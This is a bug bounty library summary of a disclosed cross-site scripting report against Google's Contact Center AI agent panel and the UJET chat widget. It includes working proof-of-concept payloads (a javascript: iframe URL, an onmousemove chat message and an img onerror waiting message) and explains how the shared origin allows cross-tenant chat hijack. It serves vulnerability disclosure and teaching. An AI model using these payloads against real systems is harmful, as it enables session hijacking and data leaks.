# Google CCAI: javascript: iframe and chat XSS on shared origin

CCAI agent panel iframe src from cobrowseDomain param allowed javascript: XSS; chat messages and waiting-message rendered unsanitized on shared websdk.ujet.co origin, enabling cross-tenant chat hijack.

- Payout: $1,837
- Severity: high
- Program: Google
- Found by: NDevTK
- Disclosed: 2023-03-11
- Write-up quality: 6/10
- Original: https://ndevtk.github.io/writeups/2023/03/11/ccai/
- Library page: https://bugbountylibrary.com/r/blog%3Andevtk-github-io-writeups-2023-03-11-ccai
- Tags: area:web domain:web impact:ato impact:data-leak kind:bounty platform:blog sev:high technique:source-review vuln:misconfiguration vuln:xss

**Target:** Contact Center AI agent panel and UJET websdk chat widget
**Root cause:** Agent panel built an iframe src directly from the cobrowseDomain URL parameter without scheme validation, and the chat SDK rendered agent-supplied message text/HTML into the shared websdk.ujet.co origin without sanitization.
**Steps:**
1. Agent XSS: create hidden iframe with `src=https://something.uc1.ccaiplatform.com/agent/?type=popup&popup=cobrowse&cobrowseDomain=javascript:alert(window.origin);%2F%2F`
2. Load the page; the cobrowse iframe navigates to the javascript: URL and executes in the agent origin
3. Client XSS: as agent, send chat message `https://"onmousemove="alert(window.origin)` to the visitor
4. Or set the 'Waiting for Agent Assignment Message' to `<img src=x onerror=alert(window.origin)>`
5. Payload executes on https://websdk.ujet.co, the shared origin for all Cloud Contact Center chat sessions
**How found:** Noticed the agent panel iframe location was controlled by the cobrowseDomain URL parameter and tried a javascript: scheme; separately observed chat message and waiting-message content rendered unsanitized on a shared SDK origin.
**Exploitation:** Agent XSS executes script in the agent control panel origin. Client XSS executes on the shared websdk.ujet.co origin; because all tenants' chat sessions share that origin, an attacker site with its own chat widget can reach another site's chat session via window.opener, and the origin is also trusted by the Cobrowse feature.
**Escalation:** Shared-origin design turns a per-tenant chat XSS into cross-tenant session hijack via window.opener and Cobrowse trust.
**Insight:** When a widget SDK serves all tenants from one origin, any HTML injection in a tenant-controlled message field becomes cross-tenant: check window.opener reachability and which sibling features (e.g. Cobrowse) trust that origin. Also test URL params that feed iframe src with javascript:/data: schemes.

## Proof of concept (copied exactly from the original report)

**Iframe with javascript: URL cobrowseDomain XSS**

```
let f = document.createElement('iframe');
f.hidden = true;
f.src =
 'https://something.uc1.ccaiplatform.com/agent/?type=popup&popup=cobrowse&cobrowseDomain=javascript:alert(window.origin);%2F%2F';
document.body.appendChild(f);
```

**Chat message onmousemove XSS payload**

```
messaging https://"onmousemove="alert(window.origin)"
```

**Waiting message img onerror XSS payload**

```
setting a custom “Waiting for Agent Assignment Message” like <img src=x onerror=alert(window.origin)>
```

